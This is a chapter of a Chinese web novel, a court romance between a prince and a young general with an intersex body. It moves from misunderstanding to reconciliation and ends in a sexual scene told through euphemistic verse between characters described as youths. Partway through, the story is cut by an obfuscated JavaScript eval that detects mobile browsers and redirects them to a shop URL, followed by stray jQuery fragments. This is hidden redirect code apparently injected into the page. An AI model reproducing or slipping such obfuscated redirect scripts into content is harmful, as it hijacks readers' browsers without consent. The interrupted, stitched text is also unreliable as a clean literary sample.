本就薄得不能再薄的窗户纸一破，两人私下里便多了几分心照不宣的亲近。只是这等事，皆是头一遭，半点章法也无。少年人身量正抽条，鼻梁又生得高，初时凑近，气息尚未乱，鼻梁骨倒先硬生生磕在一处。往往旖旎方起，便夭折在一声压着的闷哼里。
迟铎捂着鼻子退开，眼角逼出点生理性的泪花，想抱怨两句，又觉难以启齿，只得别过头去，耳根红得不像话。裴与驰也没好到哪去，眉心微蹙，指腹按了按鼻梁，目光落在迟铎那张泛红的侧脸上，沉沉不动，像在掂量什么。
几日后，大学士书房。
裴与驰屏退左右，独坐案前。案上堆着几本刚从静远侯世子那儿收缴来的杂书。平日里，他对这等艳词话本向来视作糟粕，连翻一页都嫌污眼。可此刻，这位素来严谨自持的三殿下，却面无表情地翻开了其中一册。神色肃穆，坐姿端正，指尖沿着书页一行行划过，看到“侧首”“含弄”“齿关”几处时，动作微微一顿，目光停留片刻，随后合上书卷，神色如常地将其压回了最底层。
有些事，既是学问，便该钻研，不论是兵法，还是此道。
变故发生在一个黄昏。宫道漫长，马车摇晃。车厢内光线昏暗，迟铎靠在软垫上，正百无聊赖地摆弄着裴与驰腰间的玉佩。裴与驰放下手中的书卷，忽然倾身过来。迟铎心头一跳，下意识偏头想躲，嘴里嘟囔着：“……别来了，鼻梁还疼着。”话音未落，下巴便被人轻轻托住。那只手带着些凉意，力道却不容拒绝。
这一次，没有莽撞的磕碰。裴与驰极自然地侧了侧头，错开了两人高挺的鼻梁。气息逼近，沉香的味道瞬间笼罩下来。唇瓣相贴，严丝合缝，像早已演练过千百遍。
迟铎倏地瞪大了眼。还未及反应，齿关便已被轻易撬开。不再是先前那种笨拙的试探，而是带着几分掌控意味的长驱直入。舌尖勾缠，轻重缓急拿捏得恰到好处，既不过分急切，又让人退无可退。
“唔……”迟铎被亲得猝不及防，后脑抵在车壁上，手无意识地攥紧裴与驰的衣襟。马车碾过青石板，微微一晃，那点颠簸在唇齿间被放大得近乎要命。迟铎脑中一片空白，只觉呼吸被人生生夺走，整个人软得不像话。
良久，裴与驰才稍稍退开。车厢内静得只剩下两人略显急促的呼吸声。
迟铎眼尾泛红，目光有些发直，胸口起伏得厉害，好半晌才找回自己的声音：“……你。”
怎么突然这么会了？
裴与驰神色未变。他抬手，拇指极轻地蹭过迟铎湿润的唇角，动作慢条斯理，随后重新拿起案卷，坐回原处，又恢复了平日那副高冷禁欲的模样。
开口却道：“其实，与当初给你喂药时，倒也差不离。”
迟铎一愣。
裴与驰想了想，竟像在认真复盘：“那时狸奴病着，虽很倔，却胜在乖顺，撬开齿关灌下去便是，动也不动，倒是好办。”
说到这里，他瞥了迟铎一眼，语气里甚至带了点学究气：“如今却是太活泼了些。舌尖乱躲，又不肯乖乖就范，着实费了我一番功夫。”
迟铎：“……”
他脑中“嗡”的一声，热血直冲天灵盖，脸色瞬间涨红，连脖颈都烧了起来。
这人……这人居然还总结起经验来了？！把这种事同喂药相提并论也就罢了，末了竟还嫌他不配合？！
好一个一本正经的浪荡子！
迟铎羞愤欲死，猛地坐直身子，咬牙切齿地去拽他的袖子：“裴与驰！”
裴与驰却已低头翻过一页书，连眼皮都未抬：“噤声，我要看书。”
有了那一回境界上的突破，两人之间的亲昵便再难自抑，发乎情而止不住。
又逢休沐，将军府内静悄无人，迟铎的卧房里窗棂半掩，秋光从外头漫进来，昏黄如薄雾，把房间里两人心里那点见不得光的念头衬得愈发暧昧。两人贴得极近，唇齿相缠，呼吸交错，像是要把这些日子里压着的念头，一并讨回来。
裴与驰的吻渐渐重了，带着几分近乎失控的狠意，低头压下来时毫不留情，像是要将人整个吞入怀里。那股逼人的侵略感逼得迟铎心跳乱拍，手脚发软，只能被迫仰着头承受，想迎上去，却总慢了半拍，连呼吸都被牵着走。
偏偏，吻越是凶，三殿下的手却越是克制。
哪怕贴得再近，唇舌纠缠得再深，他的手也始终只落在肩头、后背，虚虚一护，分寸拿捏得一丝不苟，衣襟不乱，带子不散。
克制又珍重，珍重得近乎刻薄。
迟铎心口却猛地一沉。
就在这一片意乱情迷里，一阵令人战栗的异样忽然自身体深处翻涌而上，那处他平日里刻意忽视、几乎当作不存在的“多余”，竟在这亲吻里不受控制地苏醒过来，来势汹汹。
惊惧几乎瞬间盖过了情欲，他忽然想起裴与驰方才那样克制的手，那样一丝不苟的分寸……
若是被他察觉，会是什么神情？
不是嫌恶，只是退后一步，只是体面地放手。
这个念头一起，迟铎指尖便凉了。
他猛地睁大眼，像被火烫了一般，一把将裴与驰推开，力道失了分寸，连床边烛台都晃了一下。裴与驰猝不及防，被推得退了半步，呼吸尚乱，眼底那点暗色还未收敛，只低声道：“……怎么了？”
…………………………（评）
“宫门……”他低着头，声音发紧，“要落锁了。殿下请回吧。”
屋内一时无声。
裴与驰没有动。那份抗拒来得太过突兀，他反倒上前一步，撑着床沿，将人困在角落里，低声道：“你在发抖。”目光落在迟铎紧绷的神情上，眉心微蹙，“是我方才……弄疼你了？”
除了受伤，他想不出旁的缘由。这只向来天不怕地不怕的狸奴，怎么会露出这样的神色，像是被逼到绝路的小兽。
迟铎闭了闭眼，心一横，那些原本只该烂在心里的话，便带着伤人伤己的锋刃脱口而出：“殿下年岁也不小了，府里迟早有人伺候。”
声音在抖，却一字一句往人心上扎。
“我们终究是两个男子。殿下若只是想……回去找她们，也比……留在我这里要强。”
话音落地，空气几乎凝固。
这话太狠了。既是替裴与驰铺了一条体面的退路，也是替自己挡下将来那一步疏离。可不这样说，他根本承受不起裴与驰发现之后的冷淡，哪怕那冷淡只是一个眼神、一寸距离。
“你说什么？”声音低沉，压着风雷。“你以为，我是在拿你消遣？”
迟铎眼眶通红，却仍别开视线，咬着牙道：“难道不是…….”
话未出口，那只手却忽然松了。预想中的怒斥没有落下。裴与驰抬起他的脸，动作出乎意料地轻，目光细细扫过额角、唇边、颈侧，确认他有没有被弄伤，确认他是不是疼得狠了才发脾气。
“哪里疼？”
“方才，是我失了分寸？”
那样近乎小心的克制，比任何斥责都更叫迟铎难受。
他猛地偏过头，推开那只手，声音发紧：“没有。”
低声道：“你我同为男子，既到这个年纪，宫里自然会替殿下安排旁人。”
话至此处，已无回旋。裴与驰直起身，面色彻底冷了下来。
“原来迟小将军是真的眼疾深重。”他语气满是讥诮，字字带刺，“到现在，才看清你我同为男子。”
他没再多说，只一拂袖，转身离去,门被带上，最后一线光亮随之消失。
迟铎缩在床角，一动未动。屋子里静得发慌。人已走远，身体里那点不受控的异样却迟迟未退，黏腻而讽刺，像是在一遍遍提醒他，方才是如何亲手把喜欢的人推开的。
泪水无声落下。
上下两头，皆不由人。
半个时辰后，医官奉命前来察看靖武伯的眼疾，随行的，还有三殿下遣人送来的几本医书，书页翻开，男女身形的差异描绘得冷静而分明，毫不避讳。
迟铎看了一眼，便低低笑了一声：看来真是被他气急了，连讽刺都这样不讲理。
若自己真如书中所绘那般，不论男女，他都敢赌裴与驰的一颗真心。
可偏偏，他不是。
这在宫中，原是生来便要依礼依制处置的异数。偏生塞北风野，纲常不密，父母也不肯尽守理制，才容他来到世上。
自那夜起，两人便陷入一场前所未有的僵局。
学馆里，那张平日同坐的长案，如今仿佛被无形的界线一分为二，泾渭分明。依旧是同席：裴与驰在左，迟铎在右。往日袖袍相叠、笔墨相借，偶尔还在案下递来递去一张写满胡话的纸条，如今却统统成了旧事。中间那道空隙宽得刺眼，仿佛还能再容下一人。
裴与驰神色冷淡，执笔批注，目不斜视，仿佛身侧不过一团空气。迟铎低头看书，目光落在字上，却一个也没进心里。偶有翻页，衣袖不慎擦过，他便像被烫着一般倏然收回，生怕越雷池一步。
一堂课毕。
一个心神一晃，墨点成灾，策论当场作废；一个手腕发飘，朱痕乱走，满页皆是闲笔。
两下里明明一样害相思，但一个强撑着冷，一个慌得发紧；一个不肯低头，一个不敢靠近。
下了学，宫道漫长。
若是往常，这时候迟铎早该挂在裴与驰身上喊累，或缠着他去城南吃糕点，嘴上说饿，眼里却只装得下那人。可如今，两人一前一后走着，隔着半步，像隔着一条看不见的界河。
裴与驰在前，步子比往日慢了几分，背影挺拔如松，冷得叫人不敢近。迟铎在后，低着头，只盯着地上被夕阳拉长的两道影子。影子偶有交叠，人却始终不肯并肩，那半步，像天堑，跨不过去。
一路无话。长街起风，卷起几片枯叶，沙沙作响，反倒衬得这沉默更刺耳。
直到行至熟悉的分岔路口，左边回宫，右边回府。
往日里总要在此磨蹭片刻，或送一程，或约明日，哪怕一句“慢些走”也好。可今日，裴与驰只停了一瞬，既不回头，也不叮嘱，转身便折向宫道。
迟铎立在原地，看着那道背影越走越远。喉头滚了滚，那声“殿下”终究没能出口。风吹得眼眶发酸，他吸了吸鼻子，转身走向那条空荡荡的归家路。
夜深，晚膳早已冷透，又被原样撤下。
迟铎把自己关在屋里，只留一盏如豆的灯。灯影昏黄，他侧躺在榻上，指间捏着一叠泛黄的信纸，那是他从塞北一路护到长安的珍藏。哪怕写信的人如今就在几里外的宫墙之内，这些旧纸仍被他攥得极紧，像攥着一点不肯散的旧梦。
他望着那熟悉的笔锋，心口忽然生出一个荒谬却清晰得可怕的念头：
若是……没来长安就好了。
若是不来，便留在塞北的大漠孤烟里，只做那个隔着千山万水与殿下通信的迟小将军。那时候多好，山长水远，是最好的屏障。他这颗心可以坦坦荡荡地随鸿雁越关山，送到那人手里，不必顾忌分寸，不必害怕退让。魂梦相依，反倒安稳。
路遥山远，即使情字未消，最多也不过念一人，念到鬓边生霜。
总好过如今这般……
人就在眼前。
贪念便像野草一样疯长：见了想靠近，靠近了想触碰，一触碰，心跳便再也收不回来。偏偏这副身子又在最不合时宜的时候失了分寸，那些不受控的反应，总在最亲密的时刻翻涌出来，像是逼着他承认：他瞒不住心上人多久了。
迟铎闭上眼，指节攥得发白，几乎将那泛黄的边角捏皱。
若他真是堂堂正正的男儿身便罢了。哪怕断袖，他也敢赌一把，敢把心掏出来给那人看。裴与驰看他的目光，那些克制却珍重的触碰，那一瞬贴近时的呼吸与心跳，他分明知道，那不是错觉。
可偏偏……
这一步若是走近了，便再也退不回原处。
他不想退，也受不了对方退。
他赌不起。
房门忽然被叩响。
“笃笃。”
迟铎浑身一僵，声音干哑：“谁？不是说了不用膳……”
“少将军。”门外是管家刻意压低的声音，带着掩不住的慌乱，“是……是殿下。”
迟铎脑中嗡地一声。宫门早已落锁，宵禁的鼓都敲过了，他怎么会来？
管家声音发抖：“殿下在府门外等着，说……您若不去，他便不走了。”
后头的话，管家没敢再说，将军府大门之外，是一副足以叫人心头发寒的景象。
长街空寂，更深露重。那位素来最讲规矩、最知分寸的三殿下，此刻却骑在一匹通体漆黑的高头大马上。玄衣骑装，神色冷极，不是装出来的威仪，是真动了怒，也是真急红了眼。他勒着缰绳，居高临下地立在阶前。黑马不安地打着响鼻，蹄铁在青石板上刨出几星火花。那架势不像是在等人，倒像是：只要迟铎敢说一个不字，下一刻，他便会策马踏平这将军府的门槛，亲自进来抓人。
屋内的迟铎并不知道外头的阵仗，他只听见那一句“不来不走”。掌心瞬间沁出冷汗，心跳却快得失了节奏。他咬了咬牙，既怕那人真在外头站一夜受寒，又怕这趟出去，便是最后的宣判。
可再怕，也终究怕不过……
怕那人等着。
迟铎没再犹豫，匆匆披了外袍便冲了出去。
府门外，长街如洗。裴与驰果然还在。玄霜立在阶前，一身玄色劲装几乎与夜色融为一体，没有仪仗，没有随从，像是把所有规矩都丢在了身后。
迟铎一现身，他连眼皮都未抬，只冷冷吐出两个字：“上马。”
那股戾气扑面而来，震得迟铎一瞬失声，只得咬牙翻身上马，坐在他身前。还未等坐稳，裴与驰已猛地一夹马腹。
玄霜长嘶一声，如离弦之箭般窜了出去。
夜骑长安，风声如刀，刮得人面颊生疼。幸而已是深夜，长街空寂；否则单凭这一条“纵马长安道”，明日参三皇子的折子，足以堆满御前。
裴与驰显然已顾不得这些。
他一路疾驰，缰绳勒得死紧，几乎绷成一线。横在迟铎腰间的那只手臂如铁钳般扣着，力道重得发疼，却没有半分温存。那姿态不像是载着心上人，倒更像是在押解一名随时可能逃走的犯人。
风声、马蹄声，还有身后那人沉重而紊乱的心跳声混作一处，震得人耳膜发麻。迟铎被迫缩在他怀里，这个自小在马背上长大的小将军，此刻却被疾风逼得睁不开眼，连呼吸都乱了套。他甚至不敢回头，不敢看看一眼身后那人的神情。
不知过了多久，马蹄声终于停在一处荒僻的山顶。
长安城沉睡在脚下，万家灯火如星。
裴与驰翻身下马，反手将人拽下。迟铎脚下一乱，后背重重抵上那棵老槐树，退无可退。
月光落在裴与驰脸上，那神情冷得陌生。他忽然低低笑了一声，声音却没有半分温度：“撩拨完了就跑，迟小将军这招欲擒故纵，是在兵法里学的？”
迟铎尚未来得及开口，下巴已被人捏住，被迫抬起头来。
“当初接我河灯的时候，手不是很稳么？”裴与驰低声道，“在车上亲得难舍难分的时候，也没见你推拒。”
指尖微微收紧，痛意清晰。
“那时候不嫌是男子，”他语气冷漠，“如今倒替我安排起女子来了？”
目光沉沉落下，像是要把人钉在原地。
“把我往别人床上推……”裴与驰轻嗤一声，“迟铎，你还真是贤惠得让我刮目相看。”
裴与驰看着眼前脸色煞白的人，下颌线绷得极紧。
他太了解迟铎了。
这只狸奴平日里最受不得激，也最受不得冤枉。他原以为这几句话抛出去，迟铎定会被刺得跳脚，要么梗着脖子同他争个高下，要么索性真动起手来。他甚至已做好了准备，等着被这只野猫反咬一口。
可预想中的反抗并没有发生。
迟铎被捏着下巴，被迫仰视着他。那双总是亮得逼人的圆眼，此刻却暗了下去。他没有挥开裴与驰的手，也没有像往常那样竖起尖刺，只是在那道冰冷的注视下，忽然像是被抽走了力气，慢慢垂下头。
那一瞬间，意气风发的小将军不见了，只剩下一个站在原地、不知所措的少年。
“我不贤惠……”声音很轻，低得几乎听不清，像是从喉咙深处挤出来的，带着一点笨拙的委屈。
裴与驰原本绷紧的下颌，因为这四个字，骤然一僵。
迟铎没敢抬头，视线死死落在他胸前的衣襟上，像是被那句“贤惠”压垮了，索性把底牌一并交了出来，语气低得发颤：“你如果真的去了……我会很难过。”
他吸了吸鼻子，又把那句更没出息的话说了出来：“……会难过死的。”
没有赌气，也没有逞强，更没有什么“滚去找别人”。
只有这一句，我会难过死的。
四下里一片死寂，风过林梢，声响细微，却把这句话衬得愈发清楚。
裴与驰原本备好的冷言冷语，那些用来回击迟铎反抗的刻薄话，全被这一句生生堵在了喉咙里。像是蓄力已久的一拳，砸进了棉花里，连回声都没有。
怒意、戾气、试探，在这一刻尽数哑火。
他捏着迟铎下巴的手指微微一僵。原本几乎要捏碎骨头的力道，不知何时已经卸了干净，却一时忘了松手。
下一瞬，他看见了迟铎的眼泪。先是眼睫被打湿，随后那点水光便顺着脸颊滑了下来，安静得很。
“可是我……”那句话没能说完，便哽在了喉咙里。
裴与驰眼底那层寒意，在这一刻碎得彻底。满身戾气像被人抽走，只剩下一点猝不及防的无奈。
这笨狸奴。
明明是他自己把人往外推，如今却红着眼说舍不得。
裴与驰低低叹了口气，终于松了手，用指腹在那满是泪痕的脸上抹了一下。动作算不上轻，语气却软了下来：“不想让我去，还偏要说那种话。你是存心要气我，是不是？”
迟铎僵在他怀里，眼眶通红，泪意未退。他仰着脸，看着眼前这张让他心动、也让他心疼的脸。
他忽然想起学馆里这人坐姿若松、神情冷淡的模样，也想起那些被他轻描淡写解决的血腥场面。
原来这样的人，也会因为他一句笨拙的话，硬生生哑了火。
裴与驰看了他一眼，却没有再逼近。他松开手，向后退了半步。夜风掠过山巅，方才那点几近失控的温度，被风压了下去。
“迟铎。”他唤得很轻，语气已冷静，“你记住，我若真只是贪一时之欲，不必你来替我张罗去处。”
他垂眸看着迟铎：“世间愿意奉迎的人不少，用不着你把自己踩进尘泥里，替我成全体面。”
迟铎喉咙发紧，正要开口，却被他抬手止住。
“我动怒，并非因你失言。”他说，“而是你明知我站在你面前，却偏要把我推到旁人身侧。”
略一停顿，声音低了几分，却更冷：“你不信我。”
四个字落得极轻，却像是敲在心骨上。
裴与驰没有再逼问，也未再靠近，只立在那里，目光落在迟铎身上：“你若有所惧，可以不说。但不该替我作主，更不该那般看轻自己。”
话到这里，他便收了声。
往前一步，还是就此退开，全凭迟铎自己。
夜色沉沉，山下的长安灯火明灭起伏，如远如近。
迟铎立在原地，指尖微微发颤。他突然意识到，这人纵然动怒，纵然说话刻薄，却始终没有再往前一步，只站在原处，把退路留给了他。
夜风掠过山巅，衣袍作响。方才还钳着他下巴的那只手，已收了回去，垂在裴与驰身侧，骨节修长而克制，像随时能伸过来，却偏偏没有。
心口那点酸胀慢慢发酵，混着尚未退尽的热意，叫人进退两难。迟铎张了张嘴，想说些什么，声音却像被风堵在喉间。
良久，他才低低开口，轻得几乎揉进风声里：“……我不是不信你。”
这句话说出口，连他自己都怔了一瞬。
他抬起头，眼眶仍红着，却不再躲闪，嗓音发颤：“是我……不敢信我自己。一靠近你，我就控制不住。”
话到这里，他像是被什么扼住了喉咙，呼吸骤乱，后半句生生断在口中。眼泪毫无预兆地落下。迟铎抬手去抹，却越抹越乱。像是终于被逼到绝境，他忽然伸手攥住裴与驰的手腕，指尖冰凉，却用尽了力气，下一瞬，那只手被他猛地按下，隔着层层衣料，贴上了他自己都不敢正视之处。
那一瞬间，夜风仿佛骤然停住。
裴与驰的身形猛地一僵，指尖传来的触感，与他所认知的任何一种都不相同，不是错觉，也不是可以轻易忽略的异样。月光下，那双一向沉静的眸子倏然收紧。
迟铎猛地松了手，像被烫着一般退开半步，嗓音彻底哑了：“现在你明白了。”
话落，他站得笔直，却再也抬不起头。
七窍玲珑、最擅揣度人心的三殿下，在这一瞬，已将这只痴傻狸奴的心思看了个分明。
裴与驰没有立刻收回手。指尖在半空停了一瞬，才缓缓垂下。他看着迟铎，目光压得极低，像要把人钉在原地。
他开口，声音很平静，“所以你是在怕我嫌你。”
迟铎指尖一颤，没有应声。
裴与驰轻轻一嗤：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117811|191384||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“想得倒远。”
他往前一步，却仍旧停住，不逼近，只抬手，指节曲起，在迟铎额角敲了一下。
“若我真嫌，”他道，“方才你拽我那一下，手早废了。”
迟铎一愣，终于抬起眼。
裴与驰盯着他，眸色沉冷：“现在知道怕了？先前在我面前胡乱推人去找旁人的时候，怎么不想这些？”
他停了一瞬，像是把怒意硬生生压回去，才慢慢落下两句：
“你怕我嫌你，倒不怕我心寒。”
“你推我去旁人身侧，倒不怕我当真走。”
末了，他冷冷补上一句：“迟铎，你未免太看轻我了。”
迟铎张了张嘴，却一时不知该说什么。那一句“你未免太看轻我了”像块石头压在心口，闷得他连呼吸都乱了节拍。他垂着眼，指尖在袖中无意识收紧，指节泛白。
裴与驰看了他片刻，忽然转开视线，像是懒得再盯着他那副要死不活的样子。
“我若没想清楚，是不会碰你的。今夜纵马，把你拽出府，桩桩件件，此刻多半已经上达御前。”
他停了一瞬，像早已计算过后果：“他若问，我自会认。”
那个位置，他从来不是没想过。朝局如何翻涌，宗室如何掣肘，言官如何落笔，他都算过。只是偏偏遇见了不该遇见的人，才叫那些原本只为江山、为权衡、为前路反复推演的算计，忽然有了别的去处。
若要这一段情意走得长久，便不能两头皆占。圣人要的是江山稳固、朝局不倾；他给得起。只要他仍站在御前，仍握得住那把刀，便能替帝王行权衡之术、镇朝堂风波。
至于他想换的，不过是一个人。
这些，他不会对这愚笨的狸奴说。
“同为男子，”裴与驰回过头来，“你敢同我亲，敢把命门递到我手里，如今不过是多了一桩旁人眼里说不得的事，你反倒退缩了？”
裴与驰紧盯着迟铎，眼底那点冷意不是疏离，而是审视。
“塞北的狼崽子，这么快就被长安的安逸磨掉了野性？”他轻嗤一声：“还是说，你只敢在草原里爱人，一到长安，就怕了？”
话说得并不好听，甚至近乎刻薄，可偏偏被他这样一带，那点旁人口中讳莫如深的异样，像是顺手揭过，仿佛原就不值一提，更不是需要遮掩的污点，连他们的将来，都已被他算进话里。
“你不觉得不详？晦气？”
迟铎心底那点藏得最深的念头，被这一句生生逼了出来。宫里的人最讲兆头，也最避不祥：玉佩多一道裂纹都要悄悄撤下，风声多一句便能压死人。他这样的身子，在礼制里本就没有名字：不是男，也不是女，是该被悄无声息抹去的异数。
他以为裴与驰也会在意。哪怕不说嫌恶，只要退一步，只要那一点点体面又冷静的避让，他便承受不起。
裴与驰听完，只低低嗤了一声，像是听见了什么荒唐事。
“晦气？”他语调冷淡，甚至带着点不耐，“迟小将军，你把人头砍下来之后，夜里还怕无头鬼找你不成？”
他侧过脸看他，目光锋利：“战场上血流成河你不怕，如今倒怕起这种虚头巴脑的说法来了？”
“我不信这些。”
他的剑，与他的刀一样，都是见过血的。
虽长在深宫，可人心诡谲，比塞北直来直去的血肉争斗更可怕。草原上的杀意写在脸上，宫里的却藏在笑里。今日仍在身侧奉茶的人，转眼便能递来一杯要命的酒。
他虽是皇子，却从不循规蹈矩。身边亲卫若生二心，不过一息，剑已出鞘，锋刃入胸，连挣扎的机会都不会留下。血溅在廊柱上，他连眼皮都不曾眨一下。
有些事若要避开圣人的目光，便不能假手旁人：该断的，他亲自断；该杀的，他亲自杀。
这样的人，早就不信什么吉凶不祥。若信这些，他的剑早该先把自己送进地狱。
偏偏这只笨狸奴想不通这关窍，还以为他的锋刃只是教习场里学来的花架子，便敢在草原那样见血。
怎么这样笨。
笨得他连最后一点耐心都被磨没了。
裴与驰原本还站在原处，在等——等他自己想明白，等他自己走过来。可这一刻，他忽然不想等了。
也不想再克制。
他一步上前，动作干脆利落，几乎不给人反应的余地，便将人按在了树干上。老槐树粗砺的树皮贴着脊背，夜风一震，迟铎下意识绷紧了身子。
“怕我嫌你？”裴与驰低声道，气息贴得很近，“怕到这个地步？”
话音未落，他便落了手。
修长的指节隔着衣料压下，力道不轻，像是要把迟铎那点自欺欺人的退路，生生碾碎。
迟铎浑身一震，喉间几乎溢出一声失控的气音，又被他硬生生咽了回去。
裴与驰却没有退开。
他显然并不算熟稔此道。初涉风月，三殿下自认翻过几本男子相与的艳词话本，便以为万无一失。哪知偏生撞上这只心思百转的狸奴——这副身子，压根不在那些书里。
少看一页，便少算一截。新书当场无用，只好弃文从武。
既然话本不管用，便照兵书来：先试锋，一步一探；再观变，乘其隙；不合用的立刻舍去，疼了便收，乱了便停。
犹疑不过片刻。
下一瞬，他便干脆利落地换了势，半屈下身，临阵易法，弃虚取实，毫不拖泥带水。
那一套动作快得叫人心惊，偏偏又稳得过分，像他一贯的行事：不留余地，却不乱分寸。其疾如风，其徐如林；侵掠如火，不动如山。
只是三殿下用的是兵法，落到眼前，却成了静远侯爱翻的艳词：
轻拢慢撚抹复挑，花心轻拆；嫩蕊生香，檀口恣采；露滴牡丹开，香津暗渡，春水乍涨，湿云一片。
迟铎像是要把那点羞耻连同骨头一并压碎。可越压，越乱；越忍，越失守。那一声闷哼硬生生咽回去，眼尾却先红了，湿意顺着睫毛坠下，分不清是泪，还是别的。
不知过了多久，裴与驰才抬起头。
他唇上沾着点点湿痕，呼吸尚未平复，目光却已冷静下来。那双眼盯着迟铎失了焦的眸子，一字一顿地问：“我像是在嫌你，还是在避你？”
这一番下来，没给迟小将军半点回神的余地。
兵书有言：三军可夺气，将军可夺心。
而迟铎此刻，气也被夺了，心也被夺了。
他一句话都说不出来。
夜露深重，玄霜在旁实在无聊，把那片草都快啃秃了，两人却都没回去。
席地而坐，泥湿沾衣也不计较。三殿下素来爱洁，此刻却像稀罕得没了分寸，只把人拢在怀里，任他躲，任他赖，任他把那点委屈尽数蹭在衣襟上。
迟铎紧紧埋着，闷声嘟囔：“你怎能……这样。”
这样把我放在心上？
裴与驰垂眸看他，半晌：“我已克制过了。”
话说得直白，狸奴那点心思，半分也逃不过他。
迟铎：“……”
他想顶嘴，又不敢；想笑，又笑不出。心口酸得发涨，只得把脸埋得更深些，像要把自己藏起来。
裴与驰忽然摆起了皇子架子，开始审问：“若我不来，你当如何？”
迟铎指尖一颤，闷声道：“我会老实做个伴读。日日记殿下好，想殿下。”
“记一辈子。”这句话说得极轻，却极笃定，分明是他在心里翻来覆去掂量过，才落下的决意。
裴与驰：“……”
他沉默片刻，像是被气笑：“你倒真有本事。”
“话本不够你翻的，偏要亲自上阵，还演得这般像样。”
他顿了顿，语气更凉，简直恨不得敲开这狸奴的脑子瞧瞧，莫不是撞上了什么换魂的邪门法子，怎的前一刻还凶得要咬人，转眼便羞答答得不像话。
“偏生那出对手戏，我一字未出口，你倒先替我把进退、把结局都写尽了。”
大学士当真看走了眼。
这哪是莽夫？分明是知音。
心思一转便翻出千般情景，偏偏对手戏还没开场，他就先把整出唱完了。
今夜被翻来覆去嘲讽的迟小将军，索性也不辩了，坦然受着。只是受着受着，便悄没声儿地把鼻涕眼泪一并蹭在三殿下衣襟上，蹭得理直气壮，半点不心虚。
多愁善感怎么了？胡思乱想怎么了？刀是自己的，心却是他的，这叫他如何管得住？
“喂，我还没审完呢？”某位火气还没消，连“喂”都喊上了。
迟铎埋着不动，装没听见。
裴与驰却也不看他，只把目光落在远处夜色里，语气冷冷的，像随口一提：“长安这地方，规矩繁多，连纵马都不许。”
他顿了顿，声音压得更低了些，别扭得很，像这话在喉间滚了几遭才肯放出来：“你怎么想？”
他没再问得更明白：“……待得惯么。”
两个人都有憋在心里的心思，一个不敢说，一个不肯说。
耍赖鬼终于肯从怀里抬起头来，眼尾还湿着，偏偏装得若无其事。三殿下却只肯赏夜景，目光直直落在玄霜祸害完的那片秃地上，竟也能看出几分美不胜收来，端得一副高冷矜贵的模样。
迟铎还能怎么想。
他其实还没想到那么远。只是想到往后要规规矩矩当个伴读，站在他身侧不远不近，连多看一眼都得掂量分寸，心口便发紧，整一片断魂心痛。
若他真回塞北，纵是夜镶群星，月影高悬，天地依旧辽阔，可少了那个人，便也只剩如此二字，再无可恋。
于是他只低低道：“……没什么想法。”
话音才落，又像怕这句太轻、风一吹就散，立马更没出息地补了一句：“我不走。”
说完便垂着眼，耳根红得厉害，连呼吸都放得小心，嘴角却偏偏抿不住，硬生生抿出一点羞涩来。
裴与驰没说话。
他只看着他，看了片刻，忽然伸手扣住迟铎的后颈，把人不轻不重地拽近了些。动作仍是那副不讲理的冷淡，落下来的吻却轻得过分，像哄人，唇瓣一触即离，却把夜露里的凉意都熨热了。
迟铎愣了愣，眼睛微微睁大，却没再害羞地低头，只怔怔望着裴与驰。那目光黏得发烫，像一缕细丝缠上来，怎么也断不开。
龙心大悦的皇子殿下赏完这一口，才慢条斯理地收回手，仍旧端着那副冷冷淡淡的神色，仿佛方才那温柔不是他给的。
而玄霜在旁实在无聊，早已不啃草了，改去薅树叶，薅得沙沙作响，像是嫌他们实在磨叽：到底还要缠到几时，能不能快些把这场风月收个尾？它都想回去站着打个盹了。